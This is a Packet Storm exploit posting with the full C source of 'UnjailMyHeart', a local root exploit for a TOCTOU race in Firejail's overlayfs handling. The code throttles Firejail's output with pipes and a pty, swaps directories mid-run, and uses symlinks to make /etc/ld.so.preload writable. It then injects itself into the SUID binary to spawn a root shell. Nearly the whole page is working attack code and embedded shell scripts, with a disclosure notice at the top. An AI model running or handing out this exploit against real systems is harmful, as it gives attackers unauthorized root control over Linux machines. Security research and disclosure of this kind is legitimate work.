Firejail TOCTOU Race Condition ≈ Packet Storm

/** This software is provided by the copyright owner "as is"
* and WITHOUT ANY EXPRESSED OR IMPLIED WARRANTIES, including,
* but not limited to, the implied warranties of merchantability
* and fitness for a particular purpose are disclaimed. In no
* event shall the copyright owner be liable for any direct,
* indirect, incidential, special, exemplary or consequential
* damages, including, but not limited to, procurement of substitute
* goods or services, loss of use, data or profits or business
* interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including
* negligence or otherwise, arising in any way out of the use
* of this software, even if advised of the possibility of such
* damage.
*
* Copyright (c) 2021 Unparalleled IT Services e.U.
*
* The software is only provided for reference to ease understanding
* and fixing of an underlying security issue in Firejail.
* Therefore it may NOT be distributed freely while the security
* issue is not fixed and patched software is available widely.
* After that phase permission to use, copy, modify, and distribute
* this software according to GNU Lesser General Public License
* (LGPL-3.0) purpose is hereby granted, provided that the above
* copyright notice and this permission notice appear in all
* copies.
*
*
* This program demonstrates a time-of-check-time-of-use TOCTOU
* vulnerability in Firejail. Winning it causes Firejail to create
* an insecure overlayfs layout, that is then used to escalate
* privileges by making /etc/ld.so.preload user writable.
*
* As the window of opportunity for a standard time race attack
* on the TOCTOU is quite narrow, this tool "expands" the window
* by synchronizing stdout and stderr using blocking pipes and
* a dedicated pty master/slave pair.
*
* As exploitation involves using /etc/ld.so.preload to inject
* a rogue library into a SUID binary, this program is designed
* to act as program and shared library at the same time. To
* compile it use:
*
* Bullseye: gcc -g -shared -fPIC -Wl,-Bsymbolic -Wl,-e_altStart -o UnjailMyHeart UnjailMyHeart.c
* Buster: gcc -g -fPIC -o UnjailMyHeart UnjailMyHeart.c
*
* Usage: UnjailMyHeart [optional Firejail command line for testing]
*
* See https://unparalleled.eu/blog/2021/20210208-rigged-race-against-firejail-for-local-root/
* for more information.
*/

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <termios.h>
#include <unistd.h>

typedef struct BlockableFdPair {
int readFd;
int writeFd;

int bytesWrittenToBlock;
int bytesSkipOnRead;
} BlockableFdPair;

extern char **environ;

#if defined(__x86_64__)
const char lib_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
#define init_args(argc, argv) __asm__ volatile ( \
"mov 0x8(%%rbp), %%edx \n\tmov %%edx, %0 \n\tlea 0x10(%%rbp), %1 \n\t" \
:"=m"(argc), "=r"(argv)::"memory")
#elif
ABORT("No 32 bit support yet");
#endif

/** Library initialization function, called by the linker. To
* avoid interfering with other programs, the code will trigger
* only when the appropriate environment variable "UPGRADE"
* is set and euid != ruid.
*/
__attribute__((constructor))
extern void _libInit() {
__uid_t rUid, eUid, sUid;
__gid_t rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
char *trigger = getenv("UPGRADE");

if ((trigger) && (eUid != rUid)) {
fprintf(stderr, "Process uid/gid info: %d/%d/%d %d/%d/%d\n",
rUid, eUid, sUid, rGid, eGid, sGid);

if (setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids.\n");
return;
}
if (setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids.\n");
return;
}

// Remove the obsolete configuration.
unlink("/etc/ld.so.preload");
unlink("/tmp/client.conf");

char* args[4];
args[0] = "/bin/bash";
args[1] = "-c";
args[2] = "rm -rf -- /tmp/firejail /run/lock/firejail; exec /bin/bash";
args[3] = NULL;
execve(args[0], args, environ);
}
}

int createPtsPair(struct BlockableFdPair *fdPair) {
int masterDevFd = open("/dev/ptmx", O_RDWR|O_NOCTTY);
if (masterDevFd < 0) {
return(-1);
}

// Change permission of slave PTY.
int result = grantpt(masterDevFd);
if (result) {
fprintf(stderr, "Grant failed.\n");
return(-1);
}

// Unlock Slave PTY so others can use it.
result = unlockpt(masterDevFd);
if (result) {
return(-1);
}

char name[1024];
result = ptsname_r(masterDevFd, name, 1024);
if (result) {
return(-1);
}
int slaveDevFd = open(name, O_RDWR);

// Disable cr/ln translation, this will mess up measurements
// later on.
struct termios termSettings;
result = tcgetattr(slaveDevFd, &termSettings);
if (result) {
fprintf(stderr, "Failed to get terminal settings.\n");
return(-1);
}
termSettings.c_iflag &= ~(INLCR | ICRNL | IXON);
termSettings.c_oflag &= ~(ONLCR | OCRNL);
termSettings.c_lflag &= ~(ECHO | ECHONL | ICANON);
result = tcsetattr(slaveDevFd, 0, &termSettings);
if (result) {
fprintf(stderr, "Failed to set terminal settings.\n");
return(-1);
}

fdPair->readFd = masterDevFd;
fdPair->writeFd = slaveDevFd;
return(0);
}

int fillTillBlocking(struct BlockableFdPair *fdPair, int fillLength) {
// No need to duuplicate the fd. Concurrent access from the subprogram
// would mess up fill level, position of fill bytes anyway.
int flags = fcntl(fdPair->writeFd, F_GETFL, 0);
fcntl(fdPair->writeFd, F_SETFL, flags|O_NONBLOCK);
// Pts write react really weird when writing in large blocks,
// so fill with small writes.
char buffer[1];
memset(buffer, 'A', sizeof(buffer));
int bytesWritten = 0;
while (fillLength) {
unsigned int remaining = sizeof(buffer);
if ((fillLength >= 0) && (fillLength < remaining)) {
remaining = fillLength;
}
int result = write(fdPair->writeFd, buffer, remaining);
if (result >= 0) {
bytesWritten += result;
fillLength -= result;
continue;
}
if (errno != EAGAIN) {
fprintf(
stderr,
"Unexpected write error %d (%s).\n", errno, strerror(errno));
}
break;
}

fcntl(fdPair->writeFd, F_SETFL, flags);
fdPair->bytesWrittenToBlock = bytesWritten;
fdPair->bytesSkipOnRead = bytesWritten;
return(0);
}

/** Read from the read side of the given fdPair. When there are
* still some bytes to skip then just read and discard them.
* Otherwise write them to this process' stdout.
* @param readLength the amount of data to read at most or -1
* to continue reading till first read fails due to lack of
* data.
* @return the amount of bytes read and discarded, 0 when nothing
* was read due to EOF or -1 on error.
*/
int handleRead(struct BlockableFdPair *fdPair, int readLength) {
char buffer[0x1000];

int bytesRead = 0;
errno = 0;
while (readLength) {
int remaining = sizeof(buffer);
if ((readLength > 0) && (readLength < sizeof(buffer))) {
remaining = readLength;
}
int result = read(fdPair->readFd, buffer, remaining);
if (result <= 0) {
if ((result) && (errno != EAGAIN) && (errno != EIO)) {
fprintf(
stderr, "Unexpected read result %d (%s).\n", errno,
strerror(errno));
}
break;
}
if (readLength > 0) {
readLength -= result;
}
bytesRead += result;

char *writeData = buffer;
if (fdPair->bytesSkipOnRead) {
if (fdPair->bytesSkipOnRead >= result) {
fdPair->bytesSkipOnRead -= result;
continue;
}
writeData += fdPair->bytesSkipOnRead;
result -= fdPair->bytesSkipOnRead;
fdPair->bytesSkipOnRead = 0;
}
write(1, writeData, result);
}
if ((!bytesRead) && (errno)) {
return(-1);
}
return(bytesRead);
}

/** Escalate privileges by spawning a root shell.
*/
int doEscalate() {
int preloadFd = open("/etc/ld.so.preload", O_RDWR);
if (preloadFd < 0) {
fprintf(stderr, "Exploitation failed.\n");
return(-1);
}
ftruncate(preloadFd, 0);
char executablePath[PATH_MAX];
int result = readlink(
"/proc/self/exe", executablePath, sizeof(executablePath));
if ((result < 0) && (result >= sizeof(executablePath))) {
return(-1);
}
write(preloadFd, executablePath, result);
close(preloadFd);

// We are unprivileged and cannot cleanup by ourself. Tell the
// user to do it.
fprintf(
stderr,
"\n\nSome cleaning spawing root shell...\n\n");

setenv("UPGRADE", "1", 1);
char* argList[3];
argList[0] = "/usr/bin/firejail";
argList[1] = "--invalid";
argList[2] = NULL;
execve(argList[0], argList, environ);
return(0);
}

int main(int argc, char **argv) {
char **programArgs = NULL;
int result;

if (argc == 1) {
fprintf(stderr, "Using default firejail startup arguments.\n");
char* argList[7];
argList[0] = "/usr/bin/firejail";
argList[1] = "--debug";
argList[2] = "--noprofile";
argList[3] = "--overlay-named=test";
argList[4] = "--shell=none";
argList[5] = "/non-existing-file";
argList[6] = NULL;
programArgs = argList;
} else {
programArgs = argv + 1;
}

// Run directory structure initialization.
result = system(
"set -e;\n"
"set -v;\n"
"# Cleanup old tests if any.\n"
"firejail --overlay-clean\n"
"if test -e \"${HOME}/.firejail-b\"; then\n"
" mv -i -- \"${HOME}/.firejail-b\" \"${HOME}/.firejail\" < /dev/null\n"
" firejail --overlay-clean\n"
"fi\n"
"\n"
"# Prepare the replacement jail. On modern kernel the directory\n"
"# cannot be on the same mount as the home directory, so use the\n"
"# /run/lock tmpfs instead.\n"
"overlayDir=\"/run/lock/firejail\"\n"
"mkdir -p -- \"${HOME}/.firejail-b/test\"\n"
"ln -s -- \"${overlayDir}/odiff\" \"${HOME}/.firejail-b/test/odiff\"\n"
"ln -s -- \"${overlayDir}/owork\" \"${HOME}/.firejail-b/test/owork\"\n"
"\n"
"# Now prepare the ooverlay directory.\n"
"mkdir -p -- \"${overlayDir}/odiff\" \"${overlayDir}/owork\"\n"
"\n"
"# Create the pulse audio configuration on upper to trigger\n"
"# firejail copying it.\n"
"# logic.\n"
"mkdir -p -- \"${overlayDir}/odiff/etc/pulse\"\n"
"# Let the pulse audio configuration point to a pipe on\n"
"# the non-overlayed /tmp tmpfs to win also the races when\n"
"# firejail is filling, chown/chmod-ing the configuration.\n"
"ln -s -- /tmp/client.conf \"${overlayDir}/odiff/etc/pulse/client.conf\"\n"
"mknod /tmp/client.conf p\n"
"\n"
"# Mess up overlayfs \"/run\" overmounting to have a writable\n"
"# /run/firejail directory as starting point for symlink attacks.\n"
"mkdir -p -- \"${overlayDir}/odiff/tmp/firejail\"\n"
"ln -s -- tmp/firejail \"${overlayDir}/odiff/run\"\n"
"\n"
"mkdir -p -- /tmp/firejail/firejail/mnt /tmp/firejail/firejail/firejail.ro.dir\n"
"touch /tmp/firejail/firejail/firejail.ro.file\n");

if (result) {
fprintf(stderr, "Failed to run initialization commands.\n");
return(1);
}

struct BlockableFdPair stderrFdPair;
memset(&stderrFdPair, 0, sizeof(BlockableFdPair));
int pipeFds[2];
if(pipe(pipeFds)) {
fprintf(stderr, "No pipes.\n");
return(1);
}
stderrFdPair.readFd = pipeFds[0];
stderrFdPair.writeFd = pipeFds[1];

struct BlockableFdPair stdoutFdPair;
memset(&stdoutFdPair, 0, sizeof(BlockableFdPair));
// We need a pts pair for stdout, so that glibc stdout enters
// line buffered mode.
if (createPtsPair(&stdoutFdPair)) {
fprintf(stderr, "Failed to create pts pair.\n");
return(1);
}

char *homeDirName = getenv("HOME");
if (!homeDirName) {
fprintf(stderr, "HOME not set.\n");
return(1);
}
int homeDirFd = open(homeDirName, O_RDONLY|O_DIRECTORY);
if (homeDirFd < 0) {
fprintf(stderr, "Failed to open home directory.\n");
return(1);
}

fcntl(stdoutFdPair.readFd, F_SETFL, O_NONBLOCK);
fcntl(stderrFdPair.readFd, F_SETFL, O_NONBLOCK);

fillTillBlocking(&stderrFdPair, -1);
handleRead(&stderrFdPair, -1);
fillTillBlocking(&stderrFdPair, stderrFdPair.bytesWrittenToBlock-60);

int childPid = fork();
if (childPid < 0) {
return(1);
}

if (!childPid) {
close(stdoutFdPair.readFd);
dup2(stdoutFdPair.writeFd, 1);
close(stdoutFdPair.writeFd);

close(stderrFdPair.readFd);
dup2(stderrFdPair.writeFd, 2);
close(stderrFdPair.writeFd);

// Change to root directory to avoid firejail output length changes
// due to different directories.
chdir("/");

// Open the old (non-overlayed) file system root to access it
// from within the overlay using /proc/self/fd/66/...
int oldRootHandle = open("/", O_RDONLY|O_DIRECTORY);
dup2(oldRootHandle, 66);
close(oldRootHandle);
execve(programArgs[0], programArgs, environ);
return(1);
}

// Firejail is now started. Wait for it to enter blocking on
// stderr.
fprintf(stderr, "Before sleep.\n");
sleep(1);

// Make sure stdout is empty while firejail is still blocked
// on stderr.
handleRead(&stdoutFdPair, -1);

// There seems to be some buffering magic when filling and reading
// from the pty. Therefore empty it completely and fill it just
// with that amount exactly needed.
fillTillBlocking(&stdoutFdPair, -1);
handleRead(&stdoutFdPair, -1);
fillTillBlocking(&stdoutFdPair, -1);
handleRead(&stdoutFdPair, -1);
fillTillBlocking(&stdoutFdPair, -1);
handleRead(&stdoutFdPair, -1);
fillTillBlocking(&stdoutFdPair, stdoutFdPair.bytesWrittenToBlock-20);

// Read stderr to let program continue till stdout blocks.
handleRead(&stderrFdPair, -1);
sleep(1);

result = renameat2(
homeDirFd, ".firejail",
homeDirFd, ".firejail-b", RENAME_EXCHANGE);
if (result < 0) {
fprintf(
stderr, "Failed to rename directories %d (%s).\n",
errno, strerror(errno));
}
fprintf(stderr, "Renamed \".firejail\" directory.\n");

// The handle to the write side is not required any more. Close
// it, so that EOF is reached as soon as child is dead.
close(stdoutFdPair.writeFd);
close(stderrFdPair.writeFd);

int continueReadingFlag = 1;
int pulseSwitchedFlag = 0;
while (continueReadingFlag) {
usleep(100000);
continueReadingFlag = 0;
result = handleRead(&stderrFdPair, -1);
if ((result > 0) || ((result < 0) && (errno == EAGAIN))) {
continueReadingFlag = 1;
}
result = handleRead(&stdoutFdPair, -1);
if ((result > 0) || ((result < 0) && (errno == EAGAIN))) {
continueReadingFlag = 1;
}
if ((!pulseSwitchedFlag) &&
(!access("/tmp/firejail/firejail/mnt/pulse", F_OK))) {
sleep(1);
system(
"cd /tmp/firejail/firejail/mnt\n"
"mv -- pulse pulse.orig\n"
"mkdir -- pulse\n"
"ln -s -- /proc/1/fd/66/etc/ld.so.preload pulse/client.conf\n"
"echo -n \"\" > /tmp/client.conf\n");
pulseSwitchedFlag = 1;
}
}

// Release the zombie child.
if (waitpid(childPid, NULL, WNOHANG) <= 0) {
fprintf(
stderr,
"Weirdly child stdin/stdout is closed but child has not terminated yet.\n");
}

if (doEscalate()) {
return(1);
}
return(0);
}

extern void _altStart (void) {
int argc = 0;
char **argv = NULL;
init_args(argc, argv);
int result = main(argc, argv);
exit(result);
}

Image

Pensée du jour :

Ce que l'homme a fait ,

l'homme peut le défaire.

 

"No secure path in the world"